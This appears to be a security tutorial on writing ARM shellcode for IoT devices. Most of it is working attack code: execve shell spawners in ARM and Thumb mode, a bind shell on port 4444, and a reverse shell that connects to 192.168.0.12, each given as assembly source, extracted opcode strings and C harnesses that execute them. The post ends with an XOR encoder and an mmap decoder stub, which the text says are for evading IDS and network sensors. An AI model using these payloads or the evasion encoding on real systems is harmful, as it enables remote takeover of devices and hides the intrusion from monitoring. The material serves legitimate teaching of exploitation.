ARM exploitation for IoT – Episode 2

Introduction

In part 1 we’ve seen an introduction in reversing of some simple ARM applications, we’ve also seen how to set up the work environment and how to write a hello world (also with syscall).

In this episode we will use the same work environment.

ARM shellcoding

We will see some basic shellcode:

  • Shell spawning shellcode
  • Bind TCP shellcode
  • Reverse shell shellcode
  • Load and execute a shell from memory
  • Encode the shellcode

Shell spawning shellcode

In this section we will see how spawning a shell using the execve syscall for the execution of the /bin/sh program.

The main steps to follow are really easy, we have just to:

  1. Find the execve system call number
  2. Fill the argument of the execve syscall

1- Find the execve system call number

[email protected]:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep execve
#define __NR_execve (__NR_SYSCALL_BASE+ 11)

Then the syscall number is 11

2- Fill the argument of the execve syscall

int execve(const char *filename, char *const argv[],char *const envp[]);
r0 = /bin/sh/
r1 = [address of /bin/sh, 0x00]
r2 = 0

So we can write the execve with their respective arguments:

execve("/bin/sh", ["/bin/sh", 0], 0)

We have all to write the complete file: execve.s

.text
.global _start
_start:
  @ execve("/bin/sh",["/bin/sh", 0], 0)

  mov r0, pc
  add r0, #32
  sub r2, r2, r2
  push {r0, r2}
  mov r1, sp
  mov r7, #11
  swi #0
_exit:
  mov r0, #0
  mov r7, #1
  swi #0 @ exit
shell: .asciz "/bin/sh"

Assemble and link it

[email protected]:/home/pi/arm/episode2# as -o execve.o execve.s
[email protected]:/home/pi/arm/episode2# ld -o execve execve.o
[email protected]:/home/pi/arm/episode2# ./execve
# pwd
/home/pi/arm/episode2

Extract the opcode

for i in $(objdump -d execve | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'
\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00

Test it (file: test_execve.c)

#include <stdio.h>
char *code= "\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00";
int main(void) {
  (*(void(*)()) code)();
  return 0;
}

Compile and execute it

[email protected]:/home/pi/arm/episode2# gcc -o test_execve test_execve.c
[email protected]:/home/pi/arm/episode2# ./test_execve
# pwd
/home/pi/arm/episode2

Thumb consideration

Thumb consists of a subset of 32 bit ARM instructions into a 16 bit instruction set. Thumb should only be used for memory constrained environments, because it usually has higher performances than normal ARM code on a processor with a 16 bit data bus, but lower performances on a processor with a 32 bit data bus.

There are different methods to enter and leave the thumb state, in the following example we will see one of the most used methods, it consists in turning on the least-significant bit of the program counter and call the BX (Branch and Exchange) instruction.

Thumb version for the execve shellcode

This is the source code for the new execve shellcode in Thumb mode (file: execveT.s)

.text
.global _start
_start:
  @ execve("/bin/sh",["/bin/sh", 0], 0)
  .code 32
  add r6, pc, #1  @ turn on the least-significant bit of the program counter 
  bx r6           @ Branch and Exchange
  .code 16
  mov r0, pc
  add r0, #16
  sub r2, r2, r2
  push {r0, r2}
  mov r1, sp
  mov r7, #11
  swi #0
_exit:
  mov r0, #0
  mov r7, #1
  swi #0          @ exit(0)
.asciz "/bin/sh"

Assemble, link and execute the program

[email protected]:/home/pi/arm/episode2# as -o execveT.o execveT.s
[email protected]:/home/pi/arm/episode2# ld -o execveT execveT.o
[email protected]:/home/pi/arm/episode2# ./execveT
# pwd
/home/pi/arm/episode2

Extract the opcodes

 
for i in $(objdump -d execveT | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'
\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x78\x46\x10\x30\x92\x1a\x05\xb4\x69\x46\x0b\x27\x00\xdf\x00\x20\x01\x27\x00\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x00

As expected the size of the shellcode is smaller than the previous ARM shellcode, let’s test it (file: test_execveT.c)

#include <stdio.h>
char *code= "\x01\x60\x8f\xe2\x16\xff\x2f\xe1\x78\x46\x10\x30\x92\x1a\x05\xb4\x69\x46\x0b\x27\x00\xdf\x00\x20\x01\x27\x00\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x00";
int main(void) {
  (*(void(*)()) code)();
  return 0;
}

Compile and execute the program

 
[email protected]:/home/pi/arm/episode2# gcc -o test_execveT test_execveT.c
[email protected]:/home/pi/arm/episode2# ./test_execveT
# pwd
/home/pi/arm/episode2

Bind TCP shellcode

In this section we will see a TCP port binding shellcode, the purpose here is to bind the shell to a network port that listens for incoming connections.

The steps to do in this case are:

  1. Create a socket (TCP)
  2. Bind the created socket to an address/port
  3. Use syscall listen for incoming connections
  4. Use syscall accept
  5. Use dup2 syscall to redirect stdin, stdout and stderr
  6. Use the execve syscall

1- Create a socket (TCP)

Get syscall number for socket syscall

[email protected]:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep socket

#define __NR_socketcall (__NR_SYSCALL_BASE+102)

#define __NR_socket (__NR_SYSCALL_BASE+281)

#define __NR_socketpair (__NR_SYSCALL_BASE+288)

#undef __NR_socketcall

As you can see from the above output, it is not possible to make use of the socketcall syscall, but we can use directly the socket syscall :). Let’s look at how to call the socket syscall with its respective parameters

@ sockfd = socket(int socket_family, int socket_type, int protocol);

mov r0, #2    @ PF_INET = 2

mov r1, #1    @ SOCK_STREAM = 1

mov r2, #0    @ IPPROTO_IP = 0

ldr r7, =#281 @ socket syscall

swi 0

@ r0 contains the fd returned by the syscall

mov r6, r0    @ save the file descriptor into r6

2- Bind the created socket to an address/port

We have to bind the file descriptor (saved into r6) to an address/port, in order to do it we must use the bind syscall

[email protected]:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep bind

#define __NR_bind (__NR_SYSCALL_BASE+282)

#define __NR_mbind (__NR_SYSCALL_BASE+319)

We have the syscall number, now let’s look at the parameters of the bind syscall

@ int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

This is the definition of the struct of the second argument

struct sockaddr_in {

  __kernel_sa_family_t sin_family; /* Address family */

  __be16 sin_port; /* Port number */

struct in_addr sin_addr; /* Internet address */

};

In our case we have

sin_addr=0
sin_port=4444
sin_family=AF_INET (0x2)

We have everything we need to write the code

mov r1, #0x5C           @ r1=0x5c
mov r5, #0x11           @ r5=0x11
mov r1, r1, lsl #24     @ r1=0x5c000000
add r1, r1, r5, lsl #16 @ r1=0x5c110000 - port number=4444(0x115C)
add r1, #2              @ r1=0x5c110002 - sin_family+sin_port
sub r2, r2, r2          @ sin_addr
push {r1, r2}           @ push into the stack r1 and r2
mov r1, sp              @ save pointer to sockaddr_in struct
mov r2, #0x10           @ addrlen
mov r0, r6              @ mov sockfd into r0
ldr r7, =#282           @ bind syscall number
swi 0

3- use syscall listen for incoming connections

Look at the number of the listen syscall

[email protected]:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep listen
#define __NR_listen (__NR_SYSCALL_BASE+284)

Let’s look at the parameters of the listen syscall and fill them

@ int listen(int sockfd, int backlog);
mov r0, r6    @ mov sockfd into r0
mov r1, #1    @ backlog=1
ldr r7, =#284 @ listen syscall
swi 0

4- Use syscall accept

Look at the number of the accept syscall

[email protected]:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep accept
#define __NR_accept (__NR_SYSCALL_BASE+285)
#define __NR_accept4 (__NR_SYSCALL_BASE+366)

Let’s look at the parameters of the accept syscall and fill them

@ int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
mov r0, r6     @ mov sockfd into r0
sub r1, r1, r1 @ addr=0
sub r2, r2, r2 @ addrlen=0
ldr r7, =#285
swi 0

5- Use dup2 syscall to redirect stdin, stdout and stderr

Look at the number of the accept syscall

[email protected]:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep dup2
#define __NR_dup2 (__NR_SYSCALL_BASE+ 63)

Let’s look at the parameters of the dup2 syscall and fill them

@ Redirect stdin, stdout and stderr via dup2
mov r1, #2       @ counter stdin(0), stdout(1) and stderr(2)
loop:
  mov r7, #63    @ dup2 syscall
  swi 0
  sub r1, r1, #1 @ decrement counter
  cmp r1, #-1    @ compare r1 with -1
  bne loop       @ if the result is not equal jmp to loop

6- use the execve syscall

We use the same code we used in the “Shell spawning shellcode” section for the execve syscall

@ int execve(const char *filename, char *const argv[],char *const envp[]);
mov r0, pc
add r0, #32
sub r2, r2, r2
push {r0, r2}
mov r1, sp
mov r7, #11
swi 0
_exit:
  mov r0, #0
  mov r7, #1
  swi 0 @ exit(0)

.asciz "/bin/sh"

This is the code of the complete shellcode (file: bind.s)

@.syntax unified
.global _start
_start:

  @ sockfd = socket(int socket_family, int socket_type, int protocol);
  mov r0, #2    @ PF_INET = 2
  mov r1, #1    @ SOCK_STREAM = 1
  mov r2, #0    @ IPPROTO_IP = 0
  ldr r7, =#281 @ socketcall
  swi 0

  @ r0 contains the fd returned by the syscall
  mov r6, r0 @ file descriptor

  @ bind the file descriptor to an address/port
  @ int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

  @struct sockaddr_in {
    @ __kernel_sa_family_t sin_family; /* Address family */
    @ __be16 sin_port; /* Port number */
    @ struct in_addr sin_addr; /* Internet address */
  @};

  @sin_addr=0
  @sin_port=4444
  @sin_family=AF_INET

  mov r1, #0x5C           @ r1=0x5c
  mov r5, #0x11           @ r5=0x11
  mov r1, r1, lsl #24     @ r1=0x5c000000
  add r1, r1, r5, lsl #16 @ r1=0x5c110000 - port number=4444(0x115C)
  add r1, #2              @ r1=0x5c110002 - sin_family+sin_port
  sub r2, r2, r2          @ sin_addr
  push {r1, r2}           @ push into the stack r1 and r2
  mov r1, sp              @ save pointer to sockaddr_in struct
  mov r2, #0x10           @ addrlen
  mov r0, r6              @ mov sockfd into r0
  ldr r7, =#282           @ bind syscall 
  swi 0

  @ listen for incoming connections via SYS_LISTEN
  @ int listen(int sockfd, int backlog);

  mov r0, r6    @ mov sockfd into r0
  mov r1, #1    @ backlog=1
  ldr r7, =#284 @ listen syscall
  swi 0

  @ Accept connections
  @ int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)

  mov r0, r6     @ mov sockfd into r0
  sub r1, r1, r1 @ addr=0
  sub r2, r2, r2 @ addrlen=0
  ldr r7, =#285  @ accept syscall
  swi 0

  @ Redirect stdin, stdout and stderr via dup2

  mov r1, #2       @ counter stdin(0), stdout(1) and stderr(2)
  loop:
    mov r7, #63    @ dup2 syscall
    swi 0
    sub r1, r1, #1 @ decrement counter
    cmp r1, #-1    @ compare r1 with -1
    bne loop       @ if the result is not equal jmp to loop

  @ int execve(const char *filename, char *const argv[],char *const envp[]);
  mov r0, pc
  add r0, #32
  sub r2, r2, r2
  push {r0, r2}
  mov r1, sp
  mov r7, #11
  swi 0

_exit:
  mov r0, #0
  mov r7, #1
  swi 0  @ exit(0)

.asciz "/bin/sh"

Assemble and link the program

[email protected]:/home/pi/arm/episode2# as -o bind.o bind.s
[email protected]:/home/pi/arm/episode2# ld -o bind bind.o

Test it

[email protected]:/home/pi/arm/episode2# ./bind
[email protected]:/home/pi/arm/episode2# netstat -anpt | grep bind
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 15008/bind

Extract the opcode

for i in $(objdump -d bind | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'

\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\xa0\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x02\x20\x42\xe0\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x70\x70\x9f\xe5\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\xa0\xe3\x47\x7f\xa0\xe3\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\x41\xe0\x02\x20\x42\xe0\x50\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xfa\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\x1a\x01\x00\x00\x1d\x01\x00\x00

Test it (file: test_bind.c)

#include <stdio.h>

char *code="\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\xa0\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x02\x20\x42\xe0\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x70\x70\x9f\xe5\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\xa0\xe3\x47\x7f\xa0\xe3\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\x41\xe0\x02\x20\x42\xe0\x50\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xfa\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\x1a\x01\x00\x00\x1d\x01\x00\x00";

int main(void) {

  (*(void(*)()) code)();

  return 0;

}

Compile it

[email protected]:/home/pi/arm/episode2# gcc -o test_bind test_bind.c

Test it

Reverse shell shellcode

In this section we will see a TCP reverse shell shellcode. The purpose is to open a shell that reverse connects to a configured IP and port and executes a shell.

The steps to follow are:

  1. Create a socket
  2. Connect to a IP/port
  3. Redirect stdin, stdout and stderr via dup2
  4. Execve a /bin/sh

1- Create a TCP socket

In the previous chapter we have seen that the socket syscall number is 281.

Proceed with the filling of the parameters

@ sockfd = socket(int socket_family, int socket_type, int protocol);

mov r0, #2    @ PF_INET = 2
mov r1, #1    @ SOCK_STREAM = 1
mov r2, #0    @ IPPROTO_IP = 0
ldr r7, =#281 @ socketcall
swi 0

@ r0 contains the fd returned by the syscall

mov r6, r0 @ file descriptor

2- Connect to a IP/port

Look at the number of the connect syscall

[email protected]:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep connect

#define __NR_connect (__NR_SYSCALL_BASE+283)

Let’s look at the parameters of the connect syscall and fill them

@ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

struct sockaddr_in {

  __kernel_sa_family_t sin_family; /* Address family */

  __be16 sin_port; /* Port number */

  struct in_addr sin_addr; /* Internet address */

};

sin_addr=192.168.0.12

sin_port=4444

sin_family=AF_INET

We have everything we need to write the code

mov r1, #0x5C           @ r1=0x5c

mov r5, #0x11           @ r5=0x11

mov r1, r1, lsl #24     @ r1=0x5c000000

add r1, r1, r5, lsl #16 @ r1=0x5c110000 - port number=4444(0x115C)

add r1, #2              @ r1=0x5c110002 - sin_family+sin_port

ldr r2, =#0x0c00a8c0    @ sin_addr=192.168.0.12 each octet is represented by one byte

push {r1, r2}           @ push into the stack r1 and r2

mov r1, sp              @ save pointer to sockaddr_in struct

mov r2, #0x10           @ addrlen

mov r0, r6              @ mov sockfd into r0

ldr r7, =#283           @ connect syscall

swi 0

3- Redirect stdin, stdout and stderr via dup2

We have seen that the dup2 syscall number is 63

Let’s look at the parameters of the dup2 syscall and fill them

@ Redirect stdin, stdout and stderr via dup2

mov r1, #2       @ counter stdin(0), stdout(1) and stderr(2)

loop:

  mov r0, r6     @ mov sockfd into r0

  mov r7, #63    @ dup2 syscall

  swi 0

  sub r1, r1, #1 @ decrement counter

  cmp r1, #-1    @ compare r1 with -1

  bne loop       @ if the result is not equal jmp to loop

4- Execve a /bin/sh

We use the same code we used in the “Shell spawning shellcode” section for the execve syscall

@ int execve(const char *filename, char *const argv[],char *const envp[]);

mov r0, pc

add r0, #32

sub r2, r2, r2

push {r0, r2}

mov r1, sp

mov r7, #11

swi 0

_exit:

  mov r0, #0

  mov r7, #1

  swi 0 @ exit(0)

shell: .asciz "/bin/sh"

Assemble and link the program reverse_shell.s

[email protected]:/home/pi/arm/chapter3# as -o reverse_shell.o reverse_shell.s
[email protected]:/home/pi/arm/chapter3# ld -o reverse_shell reverse_shell.o

Extract the opcode

for i in $(objdump -d reverse_shell | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'

\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\x80\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x64\x20\x9f\xe5\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x54\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x06\x00\xa0\xe1\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xf9\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\xc0\xa8\x00\x0c\x1b\x01\x00\x00

Test it

File test_reverse.c

#include <stdio.h>
char *code= "\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\x80\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x64\x20\x9f\xe5\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x54\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x06\x00\xa0\xe1\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xf9\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\xc0\xa8\x00\x0c\x1b\x01\x00\x00";

int main(void) {
  (*(void(*)()) code)();
  return 0;
}
[email protected]:/home/pi/arm/episode2# gcc -o test_reverse test_reverse.c

Victim machine

Remote machine (192.168.0.12)

And now we have control from the remote machine

Load and execute a shell from memory

In this chapter we will see how to create a shellcode that loads and executes the execve shellcode from memory.

We will begin by taking the opcodode of the execve shellcode (file: execve)

Extract the opcode

for i in $(objdump -d execve | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'
\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00

Create a simple encoder

Encoding of the shellcode is generally used for the following reasons:

  • Avoid detection of IDS and/or network sensors
  • Avoid bad characters

The execve shellcode contains the string /bin/sh, this string could be easily detected for example by netwok based sensors, we will see a method for encoding all the execve’s shellcode.

For building the encoder we will use two xor keys, one key is used to encode the bytes in position 6 and 12, and the other one is used for the rest of the code.

This is the source code of a simple C encoder

file: encoder.c

#include <stdio.h>

int main()

{

  //execve shellcode

  unsigned char shellcode[] = "\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00";

  int len = 48;

  char out[len];

  int i;

  for(i=0; i<len; i++){

    if(i==6 || i==12){

      out[i] = shellcode[i] ^ 0x12;

      printf("0x%x,", out[i]);

      out[i]++;

    }else{

      out[i] = shellcode[i] ^ 0x47;

      if(i==47){

        printf("0x%x\n", out[i]);

      }else{

        printf("0x%x,", out[i]);

      }

      out[i]++;

    }

  }

return 0;

}

Compile and execute the encoder program

 [email protected]:/home/pi/arm/episode2# gcc -o encoder encoder.c 
[email protected]:/home/pi/arm/episode2# ./encoder 
0x48,0x47,0xe7,0xa6,0x67,0x47,0x92,0xa5,0x45,0x67,0x5,0xa7,0x17,0x47,0x6a,0xae,0x4a,0x57,0xe7,0xa6,0x4c,0x37,0xe7,0xa4,0x47,0x47,0x47,0xa8,0x47,0x47,0xe7,0xa4,0x46,0x37,0xe7,0xa4,0x47,0x47,0x47,0xa8,0x68,0x25,0x2e,0x29,0x68,0x34,0x2f,0x47 

We can write now the shellcode that maps a new area of memory, decodes the execve shellcode into the new allocated area and launches the execve shellcode from memory, the steps to perform are:

  1. Creation of a writable and exectuable memory area
  2. Write the alghorithm for decoding the shellcode and write the decoded bytes into the new allocated area
  3. Jump into the new allocated area to execute the shellcode

To map the new area of memory we use the mmap2 syscall

[email protected]:/home/pi/arm/episode2# cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep mmap

#define __NR_mmap (__NR_SYSCALL_BASE+ 90)

#define __NR_mmap2 (__NR_SYSCALL_BASE+192)

#undef __NR_mmap

Let’s start to write the code

@ mapping new area of memory in the heap

mov r4, #0xffffffff  @ file descriptor

ldr r0, =0x00030000  @ address

ldr r1, =0x1000      @ size totale della mapping table

mov r2, #7           @ prot

mov r3, #0x32        @ flags

mov r5, #0           @ offset

mov r7, #192         @ syscall number

swi #0               @ mmap2(0x30000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x30000

2- write the alghorithm for decoding the shellcode and write the decoded bytes into the newly allocated area

mov r8, #48         @ size of the shellcode

mov r1, pc          @ move into r1 the pc

add r1, #76         @ address of the shellcode

ldr r5, =#0x12      @ xor key1

ldr r6, =#0x47      @ xor key2

mov r9, r0          @ save return address of the mnmap

mov r4, #0          @ index for the loop

start:

  ldrb r2, [r1, r4] @ store into r2 the byte at the location (r1 + r4)

  cmp r4, #6        @ check the number of the index (r4)

  bne xor2          @ if r4 is not equal to 6 jmp to xor2

xor1:

  eor r2, r2, r5    @ decoder alghorithm with xor key1

  strb r2, [r9, r4] @ save the decoded byte into the allocated memory

  add r4, #1        @ increment the index by 1

  b start           @ jump to start

xor2:

  cmp r4, #12       @ check the number of the index (r4)

  beq xor1          @ if r4 is equal to 12 jmp to xor1

  eor r2, r2, r6    @ decoder alghorithm with xor key2

  strb r2, [r9, r4] @ save the decoded byte into the allocated memory

  add r4, #1        @ increment the index by 1

  cmp r4, r8        @ check the index with the size of the shellcode

  bne start         @ if index!=sizeOfShellcode jump to start

3- jump into the new allocated area to execute the shellcode

end:

  blx r9 @ jmp to the allocated area

All the source code (file: decoder.s)

.global _start

_start:

  @ mapping new area of memory in the heap

  mov r4, #0xffffffff @ file descriptor

  ldr r0, =0x00030000 @ address

  ldr r1, =0x1000     @ size totale della mapping table

  mov r2, #7          @ prot

  mov r3, #0x32       @ flags

  mov r5, #0          @ offset

  mov r7, #192        @ syscall number

  swi #0              @ mmap2(0x30000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x30000

  mov r8, #48         @ size of the shellcode

  mov r1, pc          @ move into r1 the pc

  add r1, #76         @ address of the shellcode

  ldr r5, =#0x12      @ xor key1

  ldr r6, =#0x47      @ xor key2

  mov r9, r0          @ save return address of the mnmap

  mov r4, #0          @ index for the loop

start:

  ldrb r2, [r1, r4]   @ store into r2 the byte at the location (r1 + r4)

  cmp r4, #6          @ check the number of the index (r4)

  bne xor2            @ if r4 is not equal to 6 jmp to xor2

xor1:

  eor r2, r2, r5      @ decoder alghorithm with xor key1

  strb r2, [r9, r4]   @ save the decoded byte into the allocated memory

  add r4, #1          @ increment the index by 1

  b start             @ jump to start

xor2:

  cmp r4, #12         @ check the number of the index (r4)

  beq xor1            @ if r4 is equal to 12 jmp to xor1

  eor r2, r2, r6      @ decoder alghorithm with xor key2

  strb r2, [r9, r4]   @ save the decoded byte into the allocated memory

  add r4, #1          @ increment the index by 1

  cmp r4, r8          @ check the index with the size of the shellcode

  bne start           @ if index!=sizeOfShellcode jump to start

end:

  blx r9              @ jmp to the allocated area

shellcode: .byte 0x48,0x47,0xe7,0xa6,0x67,0x47,0x92,0xa5,0x45,0x67,0x5,0xa7,0x17,0x47,0x6a,0xae,0x4a,0x57,0xe7,0xa6,0x4c,0x37,0xe7,0xa4,0x47,0x47,0x47,0xa8,0x47,0x47,0xe7,0xa4,0x46,0x37,0xe7,0xa4,0x47,0x47,0x47,0xa8,0x68,0x25,0x2e,0x29,0x68,0x34,0x2f,0x47

Assemble and link the program

[email protected]:/home/pi/arm/episode2# as -o decoder.o decoder.s

[email protected]:/home/pi/arm/episode2# ld -o decoder decoder.o

Test the decoder shellcode

Let’s start with the bytes extraction:

[email protected]:/home/pi/arm/episode2# for i in $(objdump -d decoder | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'

\x00\x40\xe0\xe3\x03\x08\xa0\xe3\x01\x1a\xa0\xe3\x07\x20\xa0\xe3\x32\x30\xa0\xe3\x00\x50\xa0\xe3\xc0\x70\xa0\xe3\x00\x00\x00\xef\x30\x80\xa0\xe3\x0f\x10\xa0\xe1\x4c\x10\x81\xe2\x12\x50\xa0\xe3\x47\x60\xa0\xe3\x00\x90\xa0\xe1\x00\x40\xa0\xe3\x04\x20\xd1\xe7\x06\x00\x54\xe3\x03\x00\x00\x1a\x05\x20\x22\xe0\x04\x20\xc9\xe7\x01\x40\x84\xe2\xf8\xff\xff\xea\x0c\x00\x54\xe3\xf9\xff\xff\x0a\x06\x20\x22\xe0\x04\x20\xc9\xe7\x01\x40\x84\xe2\x08\x00\x54\xe1\xf1\xff\xff\x1a\x39\xff\x2f\xe1\x48\x47\xe7\xa6\x67\x47\x92\xa5\x45\x67\x05\xa7\x17\x47\x6a\xae\x4a\x57\xe7\xa6\x4c\x37\xe7\xa4\x47\x47\x47\xa8\x47\x47\xe7\xa4\x46\x37\xe7\xa4\x47\x47\x47\xa8\x68\x25\x2e\x29\x68\x34\x2f\x47

Create a C file for the decoder shellcode test (test_decoder.c )

#include <stdio.h>

char *code= "\x00\x40\xe0\xe3\x03\x08\xa0\xe3\x01\x1a\xa0\xe3\x07\x20\xa0\xe3\x32\x30\xa0\xe3\x00\x50\xa0\xe3\xc0\x70\xa0\xe3\x00\x00\x00\xef\x30\x80\xa0\xe3\x0f\x10\xa0\xe1\x4c\x10\x81\xe2\x12\x50\xa0\xe3\x47\x60\xa0\xe3\x00\x90\xa0\xe1\x00\x40\xa0\xe3\x04\x20\xd1\xe7\x06\x00\x54\xe3\x03\x00\x00\x1a\x05\x20\x22\xe0\x04\x20\xc9\xe7\x01\x40\x84\xe2\xf8\xff\xff\xea\x0c\x00\x54\xe3\xf9\xff\xff\x0a\x06\x20\x22\xe0\x04\x20\xc9\xe7\x01\x40\x84\xe2\x08\x00\x54\xe1\xf1\xff\xff\x1a\x39\xff\x2f\xe1\x48\x47\xe7\xa6\x67\x47\x92\xa5\x45\x67\x05\xa7\x17\x47\x6a\xae\x4a\x57\xe7\xa6\x4c\x37\xe7\xa4\x47\x47\x47\xa8\x47\x47\xe7\xa4\x46\x37\xe7\xa4\x47\x47\x47\xa8\x68\x25\x2e\x29\x68\x34\x2f\x47";

int main(void) {

  (*(void(*)()) code)();

  return 0;

}

Compile and execute the program

[email protected]:/home/pi/arm/episode2# gcc -o test_decoder test_decoder.c

Encode the shellcode

